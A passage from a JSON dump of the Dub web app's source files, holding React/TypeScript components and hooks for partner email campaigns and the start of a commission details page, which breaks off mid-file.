    "content": "\"use client\";\n\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport { CampaignType } from \"@dub/prisma/client\";\nimport { Button } from \"@dub/ui\";\nimport { nFormatter } from \"@dub/utils\";\nimport { CampaignTypeIcon } from \"./campaign-type-icon\";\nimport { CampaignsPageContent } from \"./campaigns-page-content\";\n\nexport function CampaignsUpsell() {\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  return (\n    <CampaignsPageContent>\n      {partnersUpgradeModal}\n      <div className=\"flex min-h-[calc(100vh-200px)] flex-col items-center justify-center gap-6 overflow-hidden px-4 py-10\">\n        <div\n          className=\"flex w-full max-w-sm flex-col gap-4 overflow-hidden px-4 [mask-image:linear-gradient(transparent,black,transparent)]\"\n          aria-hidden\n        >\n          {EXAMPLE_CAMPAIGNS.map((campaign, idx) => (\n            <ExampleCampaignCell key={idx} campaign={campaign} />\n          ))}\n        </div>\n        <div className=\"max-w-sm text-pretty text-center\">\n          <span className=\"text-base font-medium text-neutral-900\">\n            Email campaigns\n          </span>\n          <p className=\"text-content-subtle mt-2 text-sm\">\n            Send{\" \"}\n            <a\n              href=\"https://dub.co/help/article/email-campaigns\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"text-content-default hover:text-content-emphasis cursor-alias underline decoration-dotted underline-offset-2\"\n            >\n              marketing and transactional emails\n            </a>{\" \"}\n            to your partners to increase engagement and drive conversions.\n          </p>\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            onClick={() => setShowPartnersUpgradeModal(true)}\n            text=\"Upgrade to Advanced\"\n            className=\"h-8 px-3\"\n          />\n        </div>\n      </div>\n    </CampaignsPageContent>\n  );\n}\n\nconst EXAMPLE_CAMPAIGNS: {\n  type: CampaignType;\n  name: string;\n  partnersCount: number;\n}[] = [\n  {\n    type: \"marketing\",\n    name: \"Introducing our new product\",\n    partnersCount: 168,\n  },\n  {\n    type: \"transactional\",\n    name: \"Congrats on your first sale\",\n    partnersCount: 124,\n  },\n  {\n    type: \"marketing\",\n    name: \"New landing page alert\",\n    partnersCount: 136,\n  },\n];\n\nfunction ExampleCampaignCell({\n  campaign,\n}: {\n  campaign: (typeof EXAMPLE_CAMPAIGNS)[number];\n}) {\n  return (\n    <div className=\"flex size-full select-none items-center justify-between gap-2 overflow-hidden rounded-2xl border border-neutral-200 bg-transparent bg-white p-4\">\n      <div className=\"flex min-w-0 items-center gap-4\">\n        <CampaignTypeIcon type={campaign.type} />\n        <div className=\"flex min-w-0 flex-col gap-0.5\">\n          <span className=\"text-content-default truncate text-sm font-semibold\">\n            {campaign.name}\n          </span>\n        </div>\n      </div>\n\n      <span className=\"text-content-subtle hidden whitespace-nowrap text-xs sm:inline-block\">\n        {nFormatter(campaign.partnersCount)} partners\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/create-campaign-button.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign } from \"@/lib/types\";\nimport { Button, MenuItem, Popover, useKeyboardShortcut } from \"@dub/ui\";\nimport { Command } from \"cmdk\";\nimport { ChevronDown } from \"lucide-react\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { CAMPAIGN_TYPE_BADGES } from \"./campaign-type-badges\";\nimport { CampaignTypeIcon } from \"./campaign-type-icon\";\n\nconst campaignTypes = Object.values(CAMPAIGN_TYPE_BADGES).map(\n  ({ label, value }) => ({\n    label,\n    value,\n    shortcut: value === \"marketing\" ? \"M\" : \"T\",\n  }),\n);\n\nexport function CreateCampaignButton() {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const { makeRequest, isSubmitting } = useApiMutation<Campaign>();\n  const [isOpen, setIsOpen] = useState(false);\n\n  const createDraftCampaign = async (type: \"marketing\" | \"transactional\") => {\n    await makeRequest(`/api/campaigns`, {\n      method: \"POST\",\n      body: {\n        type,\n      },\n      onSuccess: (campaign) => {\n        router.push(`/${slug}/program/campaigns/${campaign.id}`);\n        mutatePrefix(\"/api/campaigns\");\n      },\n    });\n  };\n\n  useKeyboardShortcut(\"m\", () => createDraftCampaign(\"marketing\"), {\n    enabled: isOpen && !isSubmitting,\n  });\n\n  useKeyboardShortcut(\"t\", () => createDraftCampaign(\"transactional\"), {\n    enabled: isOpen && !isSubmitting,\n  });\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      content={\n        <Command tabIndex={0} loop className=\"focus:outline-none\">\n          <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm sm:w-auto sm:min-w-[200px]\">\n            {campaignTypes.map(({ label, value, shortcut }) => (\n              <MenuItem\n                key={value}\n                icon={<CampaignTypeIcon type={value} />}\n                label={label}\n                shortcut={shortcut}\n                disabled={isSubmitting}\n                onClick={() => {\n                  setIsOpen(false);\n                  createDraftCampaign(value);\n                }}\n              >\n                {label}\n              </MenuItem>\n            ))}\n          </Command.List>\n        </Command>\n      }\n      align=\"end\"\n    >\n      <Button\n        type=\"button\"\n        variant=\"primary\"\n        className=\"h-9 w-fit rounded-lg px-3\"\n        loading={isSubmitting}\n        text={\n          <div className=\"flex items-center gap-2\">\n            Create campaign{\" \"}\n            <ChevronDown className=\"size-4 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n          </div>\n        }\n        onClick={() => setIsOpen(!isOpen)}\n      />\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/delete-campaign-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign } from \"@/lib/types\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { CAMPAIGN_TYPE_BADGES } from \"./campaign-type-badges\";\n\ninterface DeleteCampaignModalProps {\n  campaign: Pick<Campaign, \"id\" | \"name\" | \"type\">;\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n}\n\nconst DeleteCampaignModal = ({\n  campaign,\n  showModal,\n  setShowModal,\n}: DeleteCampaignModalProps) => {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const { makeRequest: deleteCampaign, isSubmitting } = useApiMutation();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { errors },\n  } = useForm<{ confirm: string }>({\n    defaultValues: {\n      confirm: \"\",\n    },\n  });\n\n  const confirm = watch(\"confirm\");\n\n  const handleCampaignDeletion = async () => {\n    await deleteCampaign(`/api/campaigns/${campaign.id}`, {\n      method: \"DELETE\",\n      onSuccess: async () => {\n        setShowModal(false);\n        await mutatePrefix(\"/api/campaigns\");\n        toast.success(\"Campaign deleted successfully!\");\n        router.push(`/${slug}/program/campaigns`);\n      },\n    });\n  };\n\n  const { icon: Icon, iconClassName } = CAMPAIGN_TYPE_BADGES[campaign.type];\n\n  const isDisabled = useMemo(() => {\n    return confirm !== \"confirm delete campaign\";\n  }, [confirm]);\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Delete campaign</h3>\n      </div>\n\n      <form onSubmit={handleSubmit(handleCampaignDeletion)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"flex items-center gap-4 rounded-lg border border-neutral-200 bg-white p-4\">\n            <div\n              className={cn(\n                \"flex size-6 shrink-0 items-center justify-center rounded-md\",\n                iconClassName,\n              )}\n            >\n              <Icon className=\"size-3.5\" />\n            </div>\n            <span className=\"text-content-emphasis truncate text-sm font-medium\">\n              {campaign.name}\n            </span>\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will permanently delete this campaign and all associated data.\n            This action is not reversible.\n          </p>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>confirm delete campaign</strong> below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder=\"confirm delete campaign\"\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            variant=\"secondary\"\n            className=\"h-8 w-fit px-3\"\n            text=\"Cancel\"\n            onClick={() => setShowModal(false)}\n            disabled={isSubmitting}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"danger\"\n            className=\"h-8 w-fit px-3\"\n            text=\"Delete campaign\"\n            disabled={isDisabled}\n            loading={isSubmitting}\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n};\n\nexport function useDeleteCampaignModal(\n  campaign: Pick<Campaign, \"id\" | \"name\" | \"type\">,\n) {\n  const [showDeleteCampaignModal, setShowDeleteCampaignModal] = useState(false);\n\n  const DeleteCampaignModalCallback = useCallback(() => {\n    return (\n      <DeleteCampaignModal\n        showModal={showDeleteCampaignModal}\n        setShowModal={setShowDeleteCampaignModal}\n        campaign={campaign}\n      />\n    );\n  }, [showDeleteCampaignModal, setShowDeleteCampaignModal, campaign]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteCampaignModal,\n      DeleteCampaignModal: DeleteCampaignModalCallback,\n    }),\n    [setShowDeleteCampaignModal, DeleteCampaignModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/layout.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { ReactNode } from \"react\";\nimport { CampaignsUpsell } from \"./campaigns-upsell\";\n\nexport default function CampaignsLayout({ children }: { children: ReactNode }) {\n  const { plan, loading } = useWorkspace();\n\n  if (loading) return <LayoutLoader />;\n\n  if (!getPlanCapabilities(plan).canSendEmailCampaigns)\n    return <CampaignsUpsell />;\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/page.tsx",
    "content": "import { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { CampaignStats } from \"./campaign-stats\";\nimport { CampaignsPageContent } from \"./campaigns-page-content\";\nimport { CampaignsTable } from \"./campaigns-table\";\nimport { CreateCampaignButton } from \"./create-campaign-button\";\n\nexport default function ProgramCampaignsPage() {\n  return (\n    <CampaignsPageContent controls={<CreateCampaignButton />}>\n      <PageWidthWrapper>\n        <div className=\"space-y-4\">\n          <CampaignStats />\n          <CampaignsTable />\n        </div>\n      </PageWidthWrapper>\n    </CampaignsPageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/use-campaign.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\n\nexport default function useCampaign() {\n  const { id: workspaceId } = useWorkspace();\n  const { campaignId } = useParams<{ campaignId: string }>();\n\n  const { data: campaign, error } = useSWR<Campaign>(\n    workspaceId && campaignId\n      ? `/api/campaigns/${campaignId}?workspaceId=${workspaceId}`\n      : undefined,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    campaign,\n    loading: !campaign && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/use-campaigns-count.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { getCampaignsCountQuerySchema } from \"@/lib/zod/schemas/campaigns\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\n\ninterface UseCampaignsCountProps\n  extends z.infer<typeof getCampaignsCountQuerySchema> {\n  exclude?: string[];\n}\n\nexport default function useCampaignsCount<T>({\n  exclude,\n  ...params\n}: UseCampaignsCountProps = {}) {\n  const { getQueryString } = useRouterStuff();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const queryString = getQueryString(\n    {\n      ...params,\n      workspaceId,\n    },\n    {\n      exclude: exclude || [],\n    },\n  );\n\n  const { data: campaignsCount, error } = useSWR(\n    defaultProgramId ? `/api/campaigns/count${queryString}` : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    campaignsCount: campaignsCount as T,\n    loading: !error && campaignsCount === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/use-campaigns-filters.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CampaignStatus, CampaignType } from \"@dub/prisma/client\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { CircleDotted, Sliders } from \"@dub/ui/icons\";\nimport { nFormatter } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src\";\nimport { useMemo } from \"react\";\nimport { CAMPAIGN_STATUS_BADGES } from \"./campaign-status-badges\";\nimport { CAMPAIGN_TYPE_BADGES } from \"./campaign-type-badges\";\nimport useCampaignsCount from \"./use-campaigns-count\";\n\ninterface CampaignsCountByType {\n  type: CampaignType;\n  _count: number;\n}\n\ninterface CampaignsCountByStatus {\n  status: CampaignStatus;\n  _count: number;\n}\n\nexport function useCampaignsFilters() {\n  const { id: workspaceId } = useWorkspace();\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const { campaignsCount: countByType } = useCampaignsCount<\n    CampaignsCountByType[] | undefined\n  >({\n    groupBy: \"type\",\n  });\n\n  const { campaignsCount: countByStatus } = useCampaignsCount<\n    CampaignsCountByStatus[] | undefined\n  >({\n    groupBy: \"status\",\n  });\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options:\n          countByStatus?.map(({ status, _count }) => {\n            const {\n              label,\n              icon: Icon,\n              iconClassName,\n            } = CAMPAIGN_STATUS_BADGES[status];\n\n            return {\n              label,\n              value: status,\n              icon: (\n                <Icon className={cn(iconClassName, \"size-4 bg-transparent\")} />\n              ),\n              right: nFormatter(_count || 0, { full: true }),\n            };\n          }) ?? [],\n      },\n      {\n        key: \"type\",\n        icon: Sliders,\n        label: \"Type\",\n        options:\n          countByType?.map(({ type, _count }) => {\n            const {\n              label,\n              icon: Icon,\n              iconClassName,\n            } = CAMPAIGN_TYPE_BADGES[type];\n\n            return {\n              label,\n              value: type,\n              icon: (\n                <Icon className={cn(iconClassName, \"size-4 bg-transparent\")} />\n              ),\n              right: nFormatter(_count || 0, { full: true }),\n            };\n          }) ?? [],\n      },\n    ],\n    [countByType, countByStatus],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { status, type } = searchParamsObj;\n\n    return [\n      ...(status ? [{ key: \"status\", value: status }] : []),\n      ...(type ? [{ key: \"type\", value: type }] : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = (key: string, value: any) =>\n    queryParams({\n      set: {\n        [key]: value,\n      },\n      del: \"page\",\n    });\n\n  const onRemove = (key: string, value: any) =>\n    queryParams({\n      del: [key, \"page\"],\n    });\n\n  const onRemoveAll = () =>\n    queryParams({\n      del: [\"status\", \"type\", \"search\"],\n    });\n\n  const searchQuery = useMemo(\n    () =>\n      new URLSearchParams({\n        ...Object.fromEntries(\n          activeFilters.map(({ key, value }) => [key, value]),\n        ),\n        ...(searchParamsObj.search && { search: searchParamsObj.search }),\n        workspaceId: workspaceId || \"\",\n      }).toString(),\n    [activeFilters, workspaceId],\n  );\n\n  const isFiltered = activeFilters.length > 0 || searchParamsObj.search;\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    searchQuery,\n    isFiltered,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/coming-soon-page.tsx",
    "content": "\"use client\";\n\nimport { Badge } from \"@dub/ui\";\nimport { ReactNode } from \"react\";\n\nexport function ComingSoonPage({\n  title,\n  description,\n  graphic,\n  ctas,\n}: {\n  title: string;\n  description: ReactNode;\n  graphic: ReactNode;\n  ctas?: ReactNode;\n}) {\n  return (\n    <div className=\"flex min-h-[calc(100vh-200px)] flex-col items-center justify-center gap-5 overflow-hidden px-4 py-10\">\n      {graphic}\n      <Badge variant=\"blueGradient\" className=\"py-1\">\n        Coming soon\n      </Badge>\n      <div className=\"max-w-[400px] text-pretty text-center\">\n        <span className=\"text-base font-medium text-neutral-900\">{title}</span>\n        <p className=\"mt-2 text-pretty text-sm text-neutral-500\">\n          {description}\n        </p>\n      </div>\n      {ctas && <div className=\"flex items-center gap-2\">{ctas}</div>}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/[commissionId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { useCommission } from \"@/lib/swr/use-commission\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionDetail, CommissionResponse } from \"@/lib/types\";\nimport { CustomerAvatar } from \"@/ui/customers/customer-avatar\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ActivityEvent } from \"@/ui/partners/activity-event\";\nimport { CommissionTypeIcon } from \"@/ui/partners/comission-type-icon\";\nimport { CommissionRowMenu } from \"@/ui/partners/commission-row-menu\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { CommissionTypeBadge } from \"@/ui/partners/commission-type-badge\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { CommentCardDisplay } from \"@/ui/partners/partner-comments\";\nimport { ConditionalLink } from \"@/ui/shared/conditional-link\";\nimport {\n  ChevronRight,\n  InvoiceDollar,\n  StatusBadge,\n  Table,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  cn,\n  currencyFormatter,\n  formatDateTime,\n  nFormatter,\n  OG_AVATAR_URL,\n  pluralize,\n} from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { addDays } from \"date-fns\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\n\nexport function CommissionDetailsPageClient() {\n  const { slug } = useWorkspace();\n  const { commission, loading, error } = useCommission();\n\n  if (error?.status === 404) {\n    redirect(`/${slug}/program/commissions`);\n  }\n\n  return (\n    <PageContent\n      title={\n        loading ? (\n          <div className=\"h-7 w-48 animate-pulse rounded-md bg-neutral-200\" />\n        ) : (\n          <div className=\"flex items-center gap-1\">\n            <Link\n              href={`/${slug}/program/commissions`}\n              aria-label=\"Back to commissions\"\n              title=\"Back to commissions\"\n              className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n            >\n              <InvoiceDollar className=\"size-4\" />\n            </Link>\n            <div className=\"flex items-center gap-1.5\">\n              <ChevronRight className=\"text-content-subtle size-2.5 shrink-0 [&_*]:stroke-2\" />\n              <div className=\"flex items-center gap-2\">\n                {commission?.partner && (\n                  <img\n                    src={\n                      commission.partner.image ||\n                      `${OG_AVATAR_URL}${commission.partner.name}`\n                    }\n                    alt={commission.partner.name}\n                    className=\"size-5 rounded-full\"\n                  />\n                )}\n                <span className=\"text-lg font-semibold leading-7 text-neutral-900\">\n                  {commission?.partner.name}\n                </span>\n              </div>\n            </div>\n          </div>\n        )\n      }\n    >\n      <PageWidthWrapper className=\"pb-10\">\n        {commission ? (\n          <CommissionDetailsContent commission={commission} slug={slug!} />\n        ) : loading ? (\n          <CommissionDetailSkeleton />\n        ) : error ? (\n          <div className=\"flex flex-col items-center justify-center gap-2 py-16 text-center\">\n            <p className=\"text-sm font-medium text-neutral-700\">\n              Failed to load commission\n            </p>\n            <p className=\"text-sm text-neutral-500\">{error.message}</p>\n          </div>\n        ) : null}\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n\nfunction CommissionDetailsContent({\n  commission,\n  slug,\n}: {\n  commission: CommissionDetail;\n  slug: string;\n}) {\n  const { groups } = useGroups();\n  const group = groups?.find((g) => g.id === commission.partner.groupId);\n\n  const statusBadge = CommissionStatusBadges[commission.status];\n\n  const itemsTable = useTable<CommissionDetail>({\n    data: [commission],\n    columns: [\n      {\n        id: \"item\",\n        header: \"Item\",\n        minSize: 260,\n        size: 280,\n        cell: ({ row }) => {\n          const customer = row.original.customer;\n          const customerHref = customer\n            ? `/${slug}/program/customers/${customer.id}`\n            : undefined;\n\n          return (\n            <div className=\"flex items-center gap-2\">\n              {[\"click\", \"custom\"].includes(row.original.type!) ? (\n                <div className=\"flex size-6 items-center justify-center rounded-full bg-neutral-100\">\n                  <CommissionTypeIcon\n                    type={row.original.type}\n                    className=\"size-4\"\n                  />\n                </div>\n              ) : (\n                customer && (\n                  <CustomerAvatar customer={customer} className=\"size-6\" />\n                )\n              )}\n\n              <div className=\"flex flex-col\">\n                {customerHref ? (\n                  <Link\n                    href={customerHref}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className=\"min-w-0 max-w-[13rem] cursor-alias truncate text-xs font-medium text-neutral-700 decoration-dotted hover:underline\"\n                  >\n                    {customer?.email || customer?.name}\n                  </Link>\n                ) : (\n                  <span className=\"min-w-0 max-w-[13rem] truncate text-xs font-medium text-neutral-700\">\n                    {row.original.type === \"click\"\n                      ? `${row.original.quantity} ${pluralize(\"click\", row.original.quantity)}`\n                      : customer\n                        ? customer.email || customer.name\n                        : \"Custom commission\"}\n                  </span>\n                )}\n                <span className=\"text-xs text-neutral-500\">\n                  {formatDateTime(row.original.createdAt)}\n                </span>\n              </div>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"type\",\n        header: \"Type\",\n        minSize: 100,\n        size: 110,\n        maxSize: 130,\n        cell: ({ row }) => (\n          <CommissionTypeBadge type={row.original.type ?? \"sale\"} />\n        ),\n      },\n      {\n        id: \"total\",\n        header: \"Total\",\n        minSize: 90,\n        size: 110,\n        maxSize: 130,\n        cell: ({ row }) => currencyFormatter(row.original.earnings),\n      },\n      {\n        id: \"menu\",\n        enableHiding: false,\n        minSize: 48,\n        size: 48,\n        cell: ({ row }) => (\n          <CommissionRowMenu row={row as unknown as Row<CommissionResponse>} />\n        ),\n      },\n    ],\n    columnPinning: { right: [\"menu\"] },\n    thClassName: (id) =>\n      cn(id === \"menu\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id) => cn(id === \"menu\" && \"text-right\", \"border-l-0\"),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    resourceName: (p) => `commission${p ? \"s\" : \"\"}`,\n    loading: false,\n    error: undefined,\n  });\n\n  const detailRows: Record<string, React.ReactNode> = {\n    Partner: (\n      <Link\n        href={`/${slug}/program/partners/${commission.partner.id}`}\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"flex min-w-0 cursor-alias items-center gap-1.5 text-neutral-500 decoration-dotted hover:text-neutral-950 hover:underline\"\n      >\n        <img\n          src={\n            commission.partner.image ||\n            `${OG_AVATAR_URL}${commission.partner.name}`\n          }\n          alt={commission.partner.name}\n          className=\"size-4 shrink-0 rounded-full\"\n        />\n        <span className=\"truncate\">{commission.partner.name}</span>\n      </Link>\n    ),\n\n    ...(group && {\n      Group: (\n        <Link\n          href={`/${slug}/program/groups/${group.slug}`}\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"flex cursor-alias items-center gap-1.5 text-neutral-800 decoration-dotted hover:underline\"\n        >\n          <GroupColorCircle group={group} />\n          {group.name}\n        </Link>\n      ),\n    }),\n\n    Status: (\n      <StatusBadge variant={statusBadge.variant} icon={statusBadge.icon}>\n        {statusBadge.label}\n      </StatusBadge>\n    ),\n\n    ...(commission.type === \"sale\" && {\n      Amount: currencyFormatter(commission.amount),\n    }),\n\n    ...(commission.type === \"click\" && {\n      Quantity: `${nFormatter(commission.quantity)} ${pluralize(\"click\", commission.quantity)}`,\n    }),\n\n    Commission: (\n      <span\n        className={cn(\"font-medium\", commission.earnings < 0 && \"text-red-600\")}\n      >\n        {currencyFormatter(commission.earnings)}\n      </span>\n    ),\n\n    ...(commission.payout?.id && {\n      Payout: (\n        <ConditionalLink\n          href={`/${slug}/program/payouts/${commission.payout.id}`}\n          className=\"font-mono text-xs\"\n          title={commission.payout.id}\n        >\n          {commission.payout.id}\n        </ConditionalLink>\n      ),\n    }),\n  };\n\n  return (\n    <div className=\"flex flex-col gap-6 lg:flex-row\">\n      <div className=\"order-last min-w-0 flex-1 lg:order-first\">\n        <Table {...itemsTable} />\n\n        <CommissionActivity commission={commission} slug={slug} />\n      </div>\n\n      <div className=\"order-first w-full shrink-0 lg:order-last lg:w-[360px]\">\n        <div className=\"rounded-xl border border-neutral-200 bg-white p-4\">\n          <h3 className=\"text-content-emphasis mb-2 text-base font-semibold\">\n            Commission details\n          </h3>\n          <div className=\"flex flex-col gap-1\">\n            {Object.entries(detailRows).map(([key, value]) => (\n              <div\n                key={key}\n                className=\"flex items-center gap-4 rounded-md py-1\"\n              >\n                <div className=\"w-20 shrink-0 text-xs font-medium text-neutral-700\">\n                  {key}\n                </div>\n                <div className=\"flex min-w-0 flex-1 items-center text-xs font-medium text-neutral-500\">\n                  {value}\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction CommissionActivity({\n  commission,\n  slug,\n}: {\n  commission: CommissionDetail;\n  slug: string;\n}) {\n  return (\n    <div className=\"mt-6\">\n      <h3 className=\"mb-4 text-base font-medium text-neutral-900\">Activity</h3>\n      <div className=\"flex flex-col\">\n        {[\n          // Paid event\n          ...(commission.status === \"paid\" && commission.payout?.id\n            ? [\n                {\n                  icon: CommissionStatusBadges[\"paid\"].icon,\n                  timestamp: commission.payout?.paidAt ?? null,\n                  children: (\n                    <>\n                      <span className=\"text-sm text-neutral-700\">\n                        Commission\n                      </span>\n                      <StatusBadge\n                        icon={null}\n                        variant={CommissionStatusBadges[\"paid\"].variant}\n                      >\n                        {CommissionStatusBadges[\"paid\"].label}\n                      </StatusBadge>\n                      {commission.payout.user && (\n                        <>\n                          <span className=\"text-sm text-neutral-500\">by</span>\n                          <div className=\"flex h-6 items-center gap-2 rounded-lg bg-neutral-100 px-2 py-1\">\n                            <img\n                              src={\n                                commission.payout.user.image ||\n                                `${OG_AVATAR_URL}${commission.payout.user.id}`\n                              }\n                              alt={commission.payout.user.name ?? \"\"}\n                              className=\"size-4 rounded-full\"\n                            />\n                            <span className=\"text-[13px] text-neutral-700\">\n                              {commission.payout.user.name}\n                            </span>\n                          </div>\n                        </>\n                      )}\n                      <Link\n                        href={`/${slug}/program/payouts/${commission.payout.id}`}\n                        className=\"flex h-6 cursor-pointer items-center gap-2 rounded-lg bg-neutral-100 px-2 py-1 transition-colors hover:bg-neutral-200\"\n                      >\n                        <InvoiceDollar className=\"size-4 shrink-0 text-neutral-500\" />\n                        <span className=\"font-mono text-[13px] text-neutral-700\">\n                          {commission.payout.id}\n                        </span>\n                      </Link>\n                    </>\n                  ),\n                },\n              ]\n            : []),\n\n          // Processed event\n          ...([\"paid\", \"processed\"].includes(commission.status)\n            ? [\n                {\n                  icon: CommissionStatusBadges[\"processed\"].icon,\n                  timestamp: addDays(\n                    commission.createdAt,\n                    commission.holdingPeriodDays ?? 0,\n                  ),\n                  children: (\n                    <>\n                      <span className=\"text-sm text-neutral-700\">\n                        Commission\n                      </span>\n                      <StatusBadge\n                        icon={null}\n                        variant={CommissionStatusBadges[\"processed\"].variant}\n                      >\n                        {CommissionStatusBadges[\"processed\"].label}\n                      </StatusBadge>\n                      {commission.holdingPeriodDays ? (\n                        <span className=\"text-sm text-neutral-700\">\n                          after {commission.holdingPeriodDays}-day{\" \"}\n                          <a\n                            href=\"https://dub.co/help/article/partner-payouts#payout-holding-period\"\n                            target=\"_blank\"\n                            rel=\"noopener noreferrer\"\n                            className=\"cursor-help underline decoration-dotted underline-offset-2\"\n                          >\n                            holding period\n                          </a>\n                        </span>\n                      ) : null}\n                    </>\n                  ),\n                },\n              ]\n            : []),\n\n          ...([\"canceled\", \"duplicate\", \"fraud\", \"refunded\"].includes(\n            commission.status,\n          )\n            ? [\n                {\n                  icon: CommissionStatusBadges[commission.status].icon,\n                  timestamp: commission.updatedAt,\n                  children: (\n                    <>\n                      <span className=\"text-sm text-neutral-700\">\n                        Commission marked as\n                      </span>\n                      <StatusBadge\n                        icon={null}\n                        variant={\n                          CommissionStatusBadges[commission.status].variant\n                        }\n                      >\n                        